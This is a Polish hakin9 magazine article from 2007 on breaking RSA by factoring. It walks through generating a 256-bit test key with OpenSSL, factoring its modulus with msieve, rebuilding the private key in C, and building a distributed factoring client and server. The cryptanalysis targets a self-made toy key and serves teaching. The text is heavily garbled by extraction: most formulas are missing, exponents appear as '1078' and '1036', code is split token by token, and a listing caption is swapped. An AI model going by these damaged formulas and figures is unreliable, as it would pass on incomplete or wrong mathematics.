na odpowiednim kluczem prywatnym. Aby taka 
sytuacja była możliwa, musimy przeanalizować 
kilka matematycznych problemów. W tym celu 
używa się właśnie faktoryzacji wielkich liczb.

Początki  kryptografii  kluczy  publicznych 

związane są z publikacją Diffie'a i Hellmana z ro-
ku 1976.  Rok później Rivest, Shamir i Adleman 
zaproponowali  kryptosystem  RSA,  najczęściej 
stosowany obecnie system kryptograficzny.

W  1997  roku  dokumenty  kryptografów  z  

British  Government  Group  for  the  Security  of 
Electronic  Communications  (GSEC)  ukaza-
ły, że ta metoda kryptografii była już znana w 
1973 roku.

Atak faktoryzacyjny 

na RSA

Daniel Lerch Hostalot

stopień trudności

RSA to bez wątpienia najpopularniejszy system publicznej 

kryptografii pozostający w użyciu, który przetrwał wnikliwe testy 

kryptoanalityków trwające już ponad ćwierć wieku.

Bezpieczeństwo tego popularnego algorytmu jest oparte o 

trudności związane z faktoryzacją dużych liczb, czyli tych, które 

mają ponad 100 cyfr w zapisie dziesiętnym.

Czego się nauczysz…

•   jak działa RSA;
•   jak przeprowadzać ataki faktoryzacyjne.

Powinieneś wiedzieć…

•   jakie są podstawy programowania w C.

background image

Atak faktoryzacyjny na RSA

hakin9 Nr 4/2007

www.hakin9.org

29

Kryptosystem RSA

Jak  wspomnieliśmy  wcześniej,  bez-
pieczeństwo RSA opiera się na trud-
nościach związanych z procedurami 
obliczeniowymi  faktoryzacji  wielkich 
liczb.  Faktoryzacja  liczby  oznacza 
znalezienie  liczb  pierwszych  (fakto-
rów), które, pomnożone przez siebie, 
dają tę właśnie liczbę. Jeśli, na przy-
kład,  chcemy  sfaktoryzować  liczbę 
12,  otrzymamy  w  rezultacie  2·2·3. 
Najprostszy sposób znalezienia fak-
torów liczby n polega na podzieleniu 
jej  przez  wszystkie  liczby  pierwsze 
mniejsze  od  niej  samej.  Ta  proce-
dura, mimo że koncepcjonalnie pro-
sta, jest bardzo powolna w przypad-
ku faktoryzacji wielkich liczb.

Wykonajmy  kilka  kalkulacji  dla 

przykładu.  Klucz  o  256  bitach  (któ-
ry  później  złamiemy)  ma  około  78 

dziesiętnych  cyfr  (1078).  Jak  poka-
zują klucze RSA, taka liczba ma za-
zwyczaj tylko dwa pierwsze faktory, 
każdy z nich posiada około 39 cyfr. 
To  oznacza,  że  aby  sfaktoryzować 
liczbę, będziemy musieli podzielić ją 
przez wszystkie liczby pierwsze o 39 
lub mniej cyfrach (1039). Zakładając, 
że jedynie 0.1% liczb to liczby pierw-
sze,  wykonamy  około  1036  działań 
podziału.  Załóżmy,  że  mamy  sys-
tem, mogący wykonać 1020 dzieleń 
w  ciągu  sekundy.  W  tym  wypadku, 
złamanie  klucza  zajmie  nam  1016 
sekund. Innymi słowy, więcej niż 300 
milionów  lat,  milion  razy  więcej,  niż 
wiek  Wszechświata.  Na  szczęście, 
jest też inny sposób.

Przypatrzmy  się,  jak  działa  RSA. 

Najpierw wygenerujemy klucz publicz-
ny i prywatny (w tabelce obok znajdzie-

my  kilka  interesujących  matematycz-
nych  koncepcji).  Aby  tego  dokonać, 
musimy wykonać następujące kroki:

Krok 1:

Losowo  wybieramy  dwie  liczby 
pierwsze  p  i  q.  Mnożymy  je  przez 
siebie,  otrzymując  n:

.  Jeśli 

przyjmiemy,  dla  przykładu,  że 
oraz 

, otrzymamy 

.

Krok 2:

Obliczamy wskaźnik Eulera (Totien-
ta),  przy  pomocy  następującej  for-
m u ł y :

.

W  naszym  przypadku  otrzymamy 

.

Krok 3:

Znajdujemy  wykładnik  potęgowy  do 
szyfrowania  (później  użyjemy  go 
przy  szyfrowaniu),  nazywamy  go  e. 
Ta  liczba  musi  być  kompatybilna  z 

Dobrym  przykładem 

może  być: 

,  ponieważ  nie  po-

siada  żadnego  faktora  z  20  (fakto-
ry 2 i 5).

Krok 4:

Obliczamy  wykładnik  potęgowy 
do  deszyfrowania,  nazywamy  go 
d  (później  wykorzystamy  go  przy 
rozszyfrowywaniu).  Ta  liczba  mu-
si  być  zgodna  z 

,  a  więc 

.  Oznacza  to,  że  d 

będzie  liczbą  z  przedziału  od  1  do 
20,  która  pomnożona  przez  3  i  po-
dzielona przez 20 da 1. d może więc 
wynosić 7.

Klucze:

Klucz publiczny użytkownika należy 
do pary (n, e), w naszym przypadku 
(33, 3), zaś klucz prywatny to d, czy-
li 7. Oczywiście, liczby p, q oraz 

 

powinny pozostać ukryte.

(De)szyfrowanie:

Na  tym  etapie,  wystarczy  nam  za-
szyfrowanie za pomocą 

 

oraz  deszyfrowanie  przy  pomocy 

.  Jeśli  przyjmiemy,  że 

nasza  wiadomość  to 

,  odpo-

wiadające  szyfrowanie  będzie  mia-
ło postać 

. Aby zde-

szyfrować  wiadomość,  wystarczy 
wykonać 

.

Koncepcje matematyczne

Dzielnik lub Faktor: Liczba całkowita   jest dzielnikiem (lub faktorem) liczby  , gdy ist-
nieje inna liczba całkowita  , która jest zgodna z 

.

Na przykład:

Liczby pierwsze i złożone

Liczba całkowita jest pierwszą, jeśli może być podzielona jedynie przez jedynkę i  

       samą siebie. Liczba całkowita jest złożoną, jeśli nie jest liczbą pierwszą.

Na przykład: 

 jest liczbą złożoną, 7 i 3 są liczbami pierwszymi.

Faktoryzacja

Faktoryzacja liczby całkowitej   jest procesem podziału jej na dwa pierwsze fak-

         tory: 

, gdzie   są liczbami pierwszymi i   są dodatnimi liczbami całko

       witymi. 

Przykład: 84 jest faktoryzowalna jako 

.

Modulo

Modulo  definiujemy  i  oznaczamy  jako 

  resztę  z  całkowitego  dzielenia 

       przez  .

Na przykład:

.

a i b są modulo od n: 

 jeśli ich różnica (a-b) jest wielokrotnością n.

Największy Wspólny Dzielnik

Największym wspólnym dzielnikiem dwóch liczb całkowitych   i  , reprezentowa-

       nym jako 

, większą liczbę całkowitą, która spełnia dzielenie   i  .

Na przykład: 

Algorytm Euklidesa:

Algorytm Euklidesa oblicza największy wspólny dzielnik dwóch liczb w oparciu o 

     

, gdzie 

 są całkowite i   jest resztą z dzielenia   i 

       Na przykład: 

(1) 
(2)
(3)

Wskaźnik Eulera (Totienta):

Mając 

 wiemy, że 

to ilość liczb całkowitych z przedziału 

, które są pierwszymi* z  . Dla 

.

*Dwie  liczby  całkowite    i  są  pierwszymi  względem  siebie  (lub  relatywnie 

       pierwsze), jeśli 

.

background image

hakin9 Nr 4/2007

www.hakin9.org

Atak

30

Jak wspomnieliśmy na początku, 

i jak widać z powyższych procedur, 
zabezpieczenie kryptosystemu opie-
ra się na liczbie n. Oznacza to, że je-
śli atakujący, mający dostęp do klu-
cza  publicznego,  zdoła  sfaktoryzo-
wać n, otrzymując p i q, będzie mu-
siał jedynie użyć powyższych formuł, 
by otrzymać klucz prywatny.

Wyzwanie 

Faktoryzowania RSA

Wyzwanie  Faktoryzowania  RSA 
to  konkurs,  finansowany  przez  La-
boratoria  RSA,  w  którym  pokaź-
ne  nagrody  przyznawane  są  tym, 
którzy  zdołają  sfaktoryzować  pew-
ne  bardzo  wielkie  liczby.  Dzięki  te-
mu,  stan  bezpieczeństwa  RSA  jest 
ciągle monitorowany – w przypadku 
złamania  klucza,  jego  długość  jest 
zwiększana.

W  momencie  pisania  artykułu, 

rekord faktoryzacji wynosi RSA-640, 
liczba  o  193  cyfrach,  która  zosta-
ła sfaktoryzowana 2 listopada 2005 
przez  F.  Bahra.  Kolejnym  wyzwa-
niem jest RSA-704, za złamanie któ-
rego  przyznana  zostanie  nagroda 
$30.000.

Bez wątpienia, Wyzwanie Fakto-

ryzowania  RSA  jest  świetnym  spo-
sobem na poznanie obecnej sytuacji 
bezpieczeństwa systemów opartych 
o faktoryzację.

Aktualne  wyzwania  zostały  ze-

brane  w  tabeli,  zamieszczonej  na 
końcu tego artykułu.

Atak faktoryzacyjny

W  dalszej  części  artykułu  przepro-
wadzimy przykładowy atak na klucz 
RSA.  W  celu  oszczędzenia  czasu 
wymaganego  na  obliczenia,  użyje-
my klucza dużo krótszego, niż zwy-
czajowo, upraszczając faktoryzację. 
Mimo, że nie jest to przykład z życia 
wzięty, prezentuje, jak można w peł-
ni wykonać atak.

Najpierw  stworzymy  środowisko 

do pracy z OpenSSL, generując nie-
zbędne klucze oraz szyfrując wiado-
mość, której użyjemy jako cel nasze-
go  ataku.  Później,  sfaktoryzujemy 
modulo n, otrzymując klucz prywat-
ny, który posłuży nam do zdeszyfro-
wania wiadomości.

OpenSSL i RSA

OpenSSL  jest  bardzo  pożytecz-
nym  narzędziem  kryptograficznym 
o  otwartym  kodzie.  W  sekcji  refe-
rencji  znajdziesz  informacje,  skąd 
je  pobrać;  większość  dystrybucji 
GNU/Linux posiada je domyślnie. W 
tej sekcji użyjemy tego narzędzia do 
stworzenia testowego środowiska, w 
którym przeprowadzimy atak.

Pierwszym  krokiem  jest  wyge-

nerowanie  pary  kluczy  do  szyfro-
wania  i  deszyfrowania.  Wygeneru-
jemy klucze o 256 bitach, zbyt krót-
kie, by zabezpieczyć naszą komuni-
kację, jednak wystarczające na cele 
przykładu.

Generujemy  parę  kluczy,  ukry-

wając nasz klucz prywatny.

   # Generuj parę kluczy RSA o 256
    bitach
   openssl genrsa -out rsa_privkey
   .pem 256
   cat rsa_privkey.pem
   -----BEGIN RSA PRIVATE KEY-----
   MIGqAgEAAiEA26dbqzGRt31qincXxy
      4jjZMMOId/DVT8aTcq8aam
      DiMCAwEAAQIh
   AmvT1oXa/rxF3mrVLrR/RS7vK1WT
      sQ5CWl/+37wztZOpAhEA+4jg
      EkfalFH+0S+1
   IPKD5wIRAN+NmMH4AF0B8jz
      MAXHHXGUCEGRpRZnGmV

      kwSlrTgqj+Zu0CEA7v7CQR
   yRxt09zCGNqcYo0CEDEW7mvoz
      MYYLC5o+zgfV4U=
    -----END RSA PRIVATE KEY-----

Zapisujemy klucz publiczny do pliku. 
Jest to klucz, który upublicznimy, by 
każdy mógł wysłać do nas zaszyfro-
waną wiadomość.

   # Zapisujemy klucz publiczny do 

pliku

   openssl rsa -in rsa_privkey.pem
      -pubout -out rsa_pubkey.pem
   cat rsa_pubkey.pem
   -----BEGIN PUBLIC KEY-----
   MdwwDQYJKoZIhvcNAQEBB
      QADKwAwKAIhANunW6sxkbd
      9aop3F8cuI42TDDiHfw1U
   /Gk3KvGmpg4jAgMBAAE=
   -----END PUBLIC KEY-----

Po wygenerowaniu pary kluczy, mo-
żemy  już  kodować  i  rozkodowywać 
wiadomość,  która  w  naszym  przy-
padku będzie brzmiała:

echo "Forty-two" > plain.txt

Wiadomość możemy łatwo zaszyfro-
wać  przez  użycie  następującej  ko-
mendy i klucza publicznego:

   openssl rsautl -encrypt
      -pubin -inkey rsa_pubkey.pem \
      -in plain.txt -out cipher.txt

W celu zdeszyfrowania wiadomości, 
użyjemy klucza prywatnego:

openssl rsautl -decrypt -inkey
   rsa_privkey.pem -in cipher.txt

Wiemy  już,  jak  używać  OpenSSL 
z  RSA,  by  zdeszyfrować  wiadomo-
ści  przy  pomocy  klucza  prywatne-
go. Naszym celem jest zdobycie te-
go klucza bez konieczności odczyty-
wania oryginału. Innymi słowy, szu-
kamy  sposobu  na  zdobycie  klucza 
prywatnego  przy  pomocy  klucza 
publicznego.  Pierwszą  rzeczą,  jaką 
musimy zrobić, jest zdobycie modu-
lo  n  oraz  wykładnika  szyfrującego. 
Możemy  to  osiągnąć  przy  pomocy 
następującej  komendy  i  klucza  pu-
blicznego:

Listing 1. 

Konwersja liczby 

hexadecymalnej do dziesiętnej

#include 

<stdio.h>

#include 

<openssl/bn.h>

int

 

main

 

(

int

 

argc

char

 

**

argv

)

{

   

BIGNUM

 

*

n

 

=

 

BN_new

();

   

if

 

(

argc

!=

2

)

 

   

{

      

printf

 

(

"%s <hex>

\n

"

,

        

argv

[

0

]);

      

return

 

0

;

   

}

   

if

(!

BN_hex2bn

(&

n

argv

[

1

]))

   

{

      

printf

(

"error:

      BN_hex2bn()"

);

      

return

 

0

;

   

}

   

printf

(

"%s

\n

"

BN_bn2dec

(

n

));

   

BN_free

(

n

);

}

background image

Atak faktoryzacyjny na RSA

hakin9 Nr 4/2007

www.hakin9.org

31

openssl rsa -in rsa_pubkey.pem
   -pubin -text -modulus
Modulus (256 bit):
   00:db:a7:5b:ab:31:91:b7:7d:

      6a:8a:77:17:c7:2e:
   23:8d:93:0c:38:87:7f:0d:54:
      fc:69:37:2a:f1:a6:
   a6:0e:23

Exponent: 65537 (0x10001)
Modulus=DBA75BAB3191B77D
   6A8A7717C72E238D930C38877
   F0D54FC69372AF1A6A60E23
writing RSA key
-----BEGIN PUBLIC KEY-----
MdwwDQYJKoZIhvcNAQEBBQ
   ADKwAwKAIhANunW6sxkbd9
   aop3F8cuI42TDDiHfw1U
/Gk3KvGmpg4jAgMBAAE=
-----END PUBLIC KEY-----

Modulo  jest  reprezentowane  w  sys-
temie  hexadecymalnym.  Aby  skon-
wertować  je  do  liczby  dziesiętnej, 
pokażemy na Listingu 1:

gcc hex2dec.c -lssl
./a.out DBA75BAB3191B77D6
   A8A7717C72E238D930C388
   77F0D54FC69372AF1A6A60E23
99352209973842013949736850170
   185769998267119089063339396
   575567287426977500707

Po otrzymaniu modulo dziesiętnego, 
sfaktoryzujemy je.

Faktoryzacja modulo n

Ponieważ  liczba,  którą  faktoryzuje-
my, nie jest zbyt duża, wystarczy, że 
użyjemy  algorytmu  faktoryzującego 
QS.  Ten  algorytm  jest  implemento-
wany  przez  msieve,  aplikację,  którą 
możemy  pobrać  z  linka  umieszczo-
nego w tabeli referencji. Msieve po-
siada dobrą dokumentację i instruk-
cję instalacji, która nie jest skompli-
kowana. Faktoryzacji liczby dokona-
my przez następującą komendę:

/msieve -v
9935220997384201394973685
   01701857699982671190890633
   39396575567287426977500707

Nowoczesny komputer może sfakto-
ryzować tą liczbę w ciągu około dzie-
sięciu minut. Rezultatem jest:

factor: 297153055211137492311
   771648517932014693
factor: 334346924022870445836
   047493827484877799 

Na  tym  etapie,  po  sfaktoryzowaniu 
modulo n i posiadając wykładnik szy-

Listing 2. 

Klucz prywatny

#include 

<stdio.h>

#include 

<openssl/bn.h>

#include 

<openssl/rsa.h>

#include 

<openssl/engine.h>

#include 

<openssl/pem.h>

int

 

main

 

(

int

 

argc

char

 

**

argv

)

{

   

RSA

 

*

keypair

 

=

 

RSA_new

();

   

BN_CTX

 

*

ctx

 

=

 

BN_CTX_new

();

   

BN_CTX_start

(

ctx

);

   

BIGNUM

 

*

n

 

=

 

BN_new

();

   

BIGNUM

 

*

d

 

=

 

BN_new

();

   

BIGNUM

 

*

e

 

=

 

BN_new

();

   

BIGNUM

 

*

p

 

=

 

BN_new

();

   

BIGNUM

 

*

q

 

=

 

BN_new

();

   

BIGNUM

 

*

dmp1

 

=

 

BN_new

();

   

BIGNUM

 

*

dmq1

 

=

 

BN_new

();

   

BIGNUM

 

*

iqmp

 

=

 

BN_new

();

   

BIGNUM

 

*

r0

 

=

 

BN_CTX_get

(

ctx

);

   

BIGNUM

 

*

r1

 

=

 

BN_CTX_get

(

ctx

);

   

BIGNUM

 

*

r2

 

=

 

BN_CTX_get

(

ctx

);

   

BIGNUM

 

*

r3

 

=

 

BN_CTX_get

(

ctx

);

   

if

 

(

argc

!=

4

)

   

{

      

printf

 

(

"%s [p] [q] [exp]

\n

"

argv

[

0

]);

      

return

 

0

;

   

}

   

BN_dec2bn

(&

p

argv

[

1

]);

   

BN_dec2bn

(&

q

argv

[

2

]);

   

BN_dec2bn

(&

e

argv

[

3

]);

   

if

(

BN_cmp

(

p

q

)<

0

)

   

{

      

BIGNUM

 

*

tmp

 

=

 

p

;

      

p

 

=

 

q

;

      

q

 

=

 

tmp

;

   

}

   

BN_mul

(

n

p

q

ctx

);

   

BN_sub

(

r1

p

BN_value_one

());

 // p-1

   

BN_sub

(

r2

q

BN_value_one

());

 // q-1/

   

BN_mul

(

r0

r1

r2

ctx

);

      

 // (p-1)(q-1)

   

BN_mod_inverse

(

d

e

r0

ctx

);

 // d

   

BN_mod

(

dmp1

d

r1

ctx

);

   

BN_mod

(

dmq1

d

r2

ctx

);

   

BN_mod_inverse

(

iqmp

q

p

ctx

);

   

keypair

->

n

 

=

 

n

;

   

keypair

->

d

 

=

 

d

;

   

keypair

->

e

 

=

 

e

;

   

keypair

->

p

 

=

 

p

;

   

keypair

->

q

 

=

 

q

;

   

keypair

->

dmq1

 

=

 

dmq1

;

   

keypair

->

dmp1

 

=

 

dmp1

;

   

keypair

->

iqmp

 

=

 

iqmp

;

   

PEM_write_RSAPrivateKey

(

stdout

keypair

      

NULL

NULL

0

NULL

NULL

);

   

BN_CTX_end

(

ctx

);

   

BN_CTX_free

(

ctx

);

   

RSA_free

(

keypair

);

   

return

 

0

;

}

background image

hakin9 Nr 4/2007

www.hakin9.org

Atak

32

frowania 65537 z poprzedniego kroku, 
posiadamy wszystkie niezbędne dane 
do otrzymania klucza prywatnego.

Otrzymywanie 

klucza prywatnego 

i deszyfrowanie 

wiadomości

Ponieważ  dostępne  narzędzia,  ja-
kie mogłyby nam być tu pomocne, są 

trudne w obsłudze i niedostosowane 
do naszych potrzeb, stworzymy wła-
sną  aplikację,  która  wykona  za  nas 
niezbędne procedury. Kod źródłowy 
prezentujemy na Listingu nr 3.

Do  wykonania  obliczeń  wykorzy-

staliśmy bibliotekę OpenSSL. Zmienne 
typu  BIGNUM  są  używane  przez  nią 
do  operacji  na  wielkich  liczbach.  Ma-
ją one swoje własne API do wykony-

wania takich operacji jak: dodawanie, 
odejmowanie, operacje modularne itp.

Przykładowy  program  przypisu-

je do zmiennych typu BIGNUM para-
metry p, q i e. Analizując dalsze proce-
dury programu i komentarze dowiesz 
się,  jak  zostaje  wygenerowany  klucz 
prywatny.  Ta  sama  procedura  zosta-
ła wcześniej wyjaśniona z punktu wi-
dzenia teorii. W istocie, jedyna różnica 
między tym testem, a prawdziwą gene-
racją polega na tym, że p i q nie są lo-
sowo wybrane. W naszym przypadku, 
otrzymaliśmy je z faktoryzacji modulo. 
W  końcu,  przy  pomocy 

PEM _ write _

RSAPrivateKey()

, zapisujemy klucz pry-

watny użyty w przykładzie do formatu 
PEM. Jeśli prównamy wygenerowany 
klucz  z  oryginalnym  kluczem  prywat-
nym, zobaczymy, że otrzymaliśmy to, 
czego  chcieliśmy  –  klucz  prywatny  z 
klucza publicznego.

Jeśli zapiszemy nasz nowy klucz 

prywatny  w  pliku  tekstowym,  np. 

rsa _ hacked _ privkey.pem

,  zdeszy-

frujemy wiadomość przy pomocy:

openssl rsautl -decrypt
   -inkey rsa_hacked_privkey
   .pem -in cipher.txt

Nowoczesne algorytmy 

faktoryzujące

Algorytmy 

faktoryzujące 

uległy 

znacznym  ulepszeniom,  obecnie  po-
siadamy  wiele  szybko  działających 
algorytmów,  jak  Elliptic  Curve  Me-

thod  (ECM),  Quadratic  Sieve  (QS), 
czy Number Field Sieve (NFS). Każ-
dy z tych algorytmów wykorzystuje in-
ne procedury do pełnej lub częściowej 
faktoryzacji, w zależności od typu licz-
by  faktoryzowanej.  Algorytmy  te  nie 
są  skomplikowane.  Są  standardowo 
podzielone  na  kolejne  kroki  wiodące 
do pełnej faktoryzacji. QS i NFS uży-
wają sita.  Zbierane są pewne relacje, 
które finalnie służą do skonstruowania 
układu równań, który, po rozwiązaniu, 
daje oczekiwany rezultat. Krok zawie-
rający sito może być wykonywany na 
kilku maszynach jednocześnie, ponie-
waż trwa on najdłużej.

W  naszym  przykładzie  użyliśmy 

aplikacji  msieve,  implementacji  Sita 
Wielokrotnych Układów Równań Wie-
lomianów  (Multiple  Polynomial  Qu-

Listing 4. 

dfact_client

...
   

for

(;;)

   

{

      

get_random_seeds

(&

seed1

&

seed2

);

      

switch

(

status

)

      

{

         

case

 

DF_CLIENT_STATUS_WAITING

:

            

N

 

=

 

recv_N_number

(&

rel_by_host

host

);

            

if

(!

N

)

               

sleep

(

DF_TIME_TO_RECV

);

            

else

               

status

 

=

 

DF_CLIENT_STATUS_RUNNING

;

         

break

;

         

case

 

DF_CLIENT_STATUS_RUNNING

:

         

{

            

msieve_obj

 

*

obj

 

=

 

NULL

;

            

obj

 

=

 

msieve_obj_new

(

N

flags

relations

NULL

,

                                 

NULL

seed1

seed2

rel_by_host

0

0

);

            

if

 

(

obj

 

==

 

NULL

)

            

{

               

syslog

(

LOG_ERR

"Factoring initialization failed"

);

               

free

(

N

);

               

return

 

0

;

            

}

            

msieve_run

(

obj

);

            

if

(

obj

)

 

msieve_obj_free

(

obj

);

            

while

(!

send_relations

(

N

host

relations

))

               

sleep

(

DF_TIME_TO_SEND

);

            

if

(

unlink

(

relations

)==-

1

)

               

syslog

(

LOG_ERR

"unlink(): %s: %s"

relations

strerror

(

errno

));

            

status

 

=

 

DF_CLIENT_STATUS_WAITING

;

            

free

(

N

);

            

}

         

break

;

         

default

:

         

break

;

      

}

...

Listing 3. 

Zamiana klucza prywatnego w publiczny

gcc

 

get_priv_key

.

c

 

-

lssl

 

-

o

 

get_priv_key

   ./

get_priv_key

 

297153055211137492311771648517932014693

 \

   

334346924022870445836047493827484877799

 

65537

   

-----

BEGIN

 

RSA

 

PRIVATE

 

KEY

-----

   

MIGqAgEAAiEA26dbqzGRt31qincXxy4jjZMMOId

/

DVT8aTcq8aamDiMCAwEAAQIh

   

AMvT1oXa

/

rxF3mrVLrR

/

RS7vK1WTsQ5CWl

/

+

37

wztZOpAhEA

+

4

jgEkfalFH

+

0

S

+

1

   

IPKD5wIRAN

+

NmMH4AF0B8jzMAXHHXGUCEGRpRZnGmVkwSlrTgqj

+

Zu0CEA7v7CQR

   

yRxt09zCGNqcYo0CEDEW7mvozMYYLC5o

+

zgfV4U

=

   

-----

END

 

RSA

 

PRIVATE

 

KEY

-----

background image

Atak faktoryzacyjny na RSA

hakin9 Nr 4/2007

www.hakin9.org

33

adratic  Sieve  (MPQS)),  wariacji  QS. 
Algorytm QS jest szybszy w przypad-
ku faktoryzacji liczb o ilości cyfr mniej-
szej niż 110, jednak gdy przekraczamy 
tą granicę, powinniśmy użyć NFS. Wa-
riacją  NFS,  używaną  do  faktoryzacji 
dowolnego typu liczb, jest GNFS (Ge-

neral Number Field Sieve, ogólne sito 
pól  liczb).  Nie  ma  wiele  aplikacji  dar-
mowych,  implementujących  GNFS, 

zaś istniejące nie posiadają dobrej do-
kumentacji, lub są trudne w użyciu. Tak 
przynajmniej wygląda sytuacja w chwili 
pisania artykułu. Pokażemy zatem, jak 
działa GGNFS, implementacja GNFS, 
która mimo, że nie jest w pełni stabilna, 
pozwala na faktoryzację bez zbyt wie-
lu problemów.

GGNFS składa się z zestawu na-

rzędzi, które, użyte po kolei, składają 

się na pełną implementację algoryt-
mu. Dla osoby początkującej, wyko-
nanie każdego kroku z osobna mo-
że  być  trudne.  Dlatego  też  GGNFS 
posiada  dołączony  skrypt  perl,  któ-
ry wykonuje za nas większość pracy. 
Skrypt pozwala na łatwe użycie pro-
gramu,  jednak  nie  jest  najlepszym 
rozwiązaniem do wykorzystania peł-
ni możliwości, drzemiących w narzę-
dziach składających się na GGNFS.

Najprostszy  sposób  użycia  tego 

programu polega na stworzeniu pliku, 
który nazwiemy test.n, zawierającego 
liczbę, którą chcemy sfaktoryzować.

cat test.n
n: 1522605027922533360535
      6183781326374297180681149
      6138068865790849458012296
      3258952897654000350692006139

Następnie uruchamiamy:

tests/factLat.pl test.n

Ta komenda sfaktoryzuje liczbę. Czas 
jest zależny od posiadanego sprzętu, 
jednak  by  użyć  całej  mocy  GGNFS, 
musimy  zapomnieć  o  przydatnym 
skrypcie factLat.pl i wgłębić się w każ-
de z narzędzi pakietu, używając ich w 
określonej kolejności. Ponieważ uży-
cie GGNFS wykracza poza ramy tego 
artykułu,  nie  opiszę  go  tutaj.  Najlep-
szym  wyjściem  jest  przestudiowanie 
dokumentacji dołączonej do kodu źró-
dłowego oraz śledzenie forum projek-
tu. Można także w Internecie znaleźć 
kilka publikacji na temat NFS, jednak 
bez zaawansowanej wiedzy na temat 
algebry liniowej i teorii liczb daleko nie 
zajdziemy.

Zapotrzebowanie na 

rozproszony atak

Klucz, sfaktoryzowany w tym przykła-
dzie, jest bardzo niewielki w porówna-
niu  z  długością  kluczy  obecnie  uży-
wanych. Jeśli chcemy stworzyć klucz 
RSA  do  użytku  własnego,  powinni-
śmy  użyć  minimalnie  1024  bity.  Je-
śli  potrzebujemy  zwiększonego  bez-
pieczeństwa,  powinniśmy  wygenero-
wać klucz o 2048 lub 4096 bitach. Je-
śli spróbujemy złamać taki klucz przy 
pomocy  domowego  komputera,  nie-

Listing 6. 

dfact_server (process_relations)

void

 

process_relations

(

char

 

*

N

int

 

num_relations

int

 

seconds

)

{

   

for

(;;)

   

{

      

int

 

n_sieves

 

=

 

get_num_relations_in_file

(

DF_FILE_RELATIONS

);

      

printf

 

(

"relations: %d, need: %d 

\n

"

n_sieves

num_relations

);

     

 // Has enough relations?

      

if

(

n_sieves

>=

num_relations

)

      

{

         

printf

(

"Factoring %s

\n

"

N

);

         

kill

(

0

SIGUSR1

);

         

uint32

 

seed1

;

         

uint32

 

seed2

;

         

uint32

 

flags

;

         

flags

 

|=

 

MSIEVE_FLAG_USE_LOGFILE

;

         

get_random_seeds

(&

seed1

&

seed2

);

         

factor_integer

(

N

,

flags

,

DF_FILE_RELATIONS

,

NULL

,

&

seed1

,

&

seed2

);

         

printf

(

"Factoring Done

\n

"

);

         

kill

(

getppid

()

SIGKILL

);

         

exit

(

0

);

      

}

      

sleep

(

seconds

);

   

}

}

Listing 5. 

dfact_server

...
   

for

(;;)

   

{

      

while

(

child_count

 

>=

 

DF_MAX_CLIENTS

)

 

sleep

(

1

);

      

sd_tmp

 

=

 

socket_server_accept

(

sd

client

sizeof

(

client

));

      

if

((

pid

=

fork

())==

0

)

      

{

         

close

(

sd

);

         

process_client

(

sd_tmp

N

num_relations

rel_by_host

client

);

      

}

      

else

 

if

 

(

pid

>

0

)

      

{

         

close

(

sd_tmp

);

         

child_count

++;

      

}

      

else

      

{

         

perror

(

"fork()"

);

      

}

      

close

(

sd_tmp

);

   

}

   

close

(

sd

);

...

background image

hakin9 Nr 4/2007

www.hakin9.org

Atak

34

zależnie od czasu mu danego, zaob-
serwujemy, że cały czas pracuje, zaś 
wyniku wciąż nie ma. Prawda jest ta-
ka, że takiego klucza niemal nie moż-
na złamać, jednak osiągnięcia mate-
matyków i rozwój komputerów z każ-
dym  dniem  przybliżają  nas  do  suk-
cesu.  W  szczególnych  przypadkach, 
możemy  użyć  rozproszonego  ataku, 
używając  tysięcy  maszyn  jednocze-
śnie,  by  przyspieszyć  proces  fakto-
ryzacji.  Istnieje  wiele  publikacji  i  ba-
dań na temat analiz możliwości prze-
prowadzania ataków na klucze o 1024 
bitach (zobacz linki w ramce). W tym 
momencie,  jest  to  poza  zasięgiem 
znakomitej  większości  ludzi,  lecz  nie 
poza zasięgiem rządów i organizacji. 
Konkursy, jak wcześniej wspominany, 
pomagają także ekspertom, dając im 
motywację do tworzenia aplikacji po-
magających  w  przeprowadzaniu  roz-
proszonych  ataków  faktoryzacyjnych 
na wielkie liczby.

Rozproszony atak

W  poprzednich  przykładach  używa-
liśmy  aplikacji  msieve.  Jak  udowod-
niliśmy, program jest prosty w obsłu-
dze  i  nie  przysparza  zbyt  wielu  pro-
blemów użytkownikowi. Według mnie 
jest to obecnie najlepsza implementa-
cja algorytmu Quadratic Sieve (kwa-
dratowe sito). Aplikacja ta stanowi jed-
nakże niemal wersje demonstracyjną 
całej biblioteki msieve, może bowiem 
być użyta tylko na jednej maszynie.

W dokumentacji aplikacji jest kil-

ka wskazówek, jak użyć tej wersji z 
wieloma maszynami, w celu przepro-
wadzenia ataku rozproszonego. Jest 
to jednak manual, który nie przedsta-
wia  zbyt  wielu  praktycznych  proce-
dur. Napisałem więc małą aplikację, 
która wykorzystuje bibliotekę msieve 
do wykonania rozproszonego ataku. 
Program  nazywa  się  dfact  i  jest  on 
zamieszczony na CD dołączonym do 
pisma oraz pod adresem widocznym 
w ramce z odnośnikami.

Program  może  zostać  skompilo-

wany  przy  pomocy  make,  wymaga 
jedynie poprawnie zainstalowanej bi-
blioteki msieve. Ścieżka do tej biblio-
teki  musi  być  przedstawiona  w  Ma-
kefile. Po skompilowaniu, otrzymamy 
dwa binaria w folderze bin/, które są 

klientem i serwerem. Serwer (dfs) po-
winien być uruchomiony na maszynie 
z  wystarczającą  ilością  pamięci  (im 
większa  liczba,  tym  więcej  potrzeba 
pamięci),  będzie  odpowiedzialny  za 
dystrybuowanie  obciążenia  na  inne 
maszyny i koordynację klientów. Ser-
wer przyjmuje cztery parametry: licz-
bę, którą faktoryzujemy, liczbę relacji, 
które  chcemy,  by  klient  wysyłał  przy 
każdej kompilacji, oraz liczbę sekund, 
która będzie oddzielać kolejne spraw-
dzenia serwera, czy posiada już wy-
starczające dane od klientów, by za-
kończyć faktoryzację. W przykładzie, 
klient będzie wysyłał relacje co 5000, 
zaś  serwer  będzie  weryfikował  ilość 
relacji co 60 sekund.

bin/dfs 9935220997384201394
      973685017018576999826
      711908906333939657556
      7287426977500707 5000 60

Uruchomimy  dmc  na  kilku  maszy-
nach  klienckich,  podając  jako  para-
metr  adres  IP  serwera  oraz  ścież-
kę  do  pliku  tymczasowego,  w  któ-
rym  będą  zapisywane  relacje.  Na 
przykład:

bin/dfc /tmp/rel 192.168.1.7

Aplikacja dfact została stworzona przy 
użyciu biblioteki msieve. Posiada ona 
program  przykładowy,  demo.c,  któ-
ry pokazuje jej wykorzystanie w pro-
sty sposób. Analizując kod, dojdziemy 
do wniosku, że nie jest wcale trudny 
do zrozumienia. Na Listingu 4. widzi-
my część kodu klienta dfact. Prezen-
tujemy zasadę działania głównej pę-
tli, w której klient otrzymuje liczbę do 
sfaktoryzowania od serwera, następ-
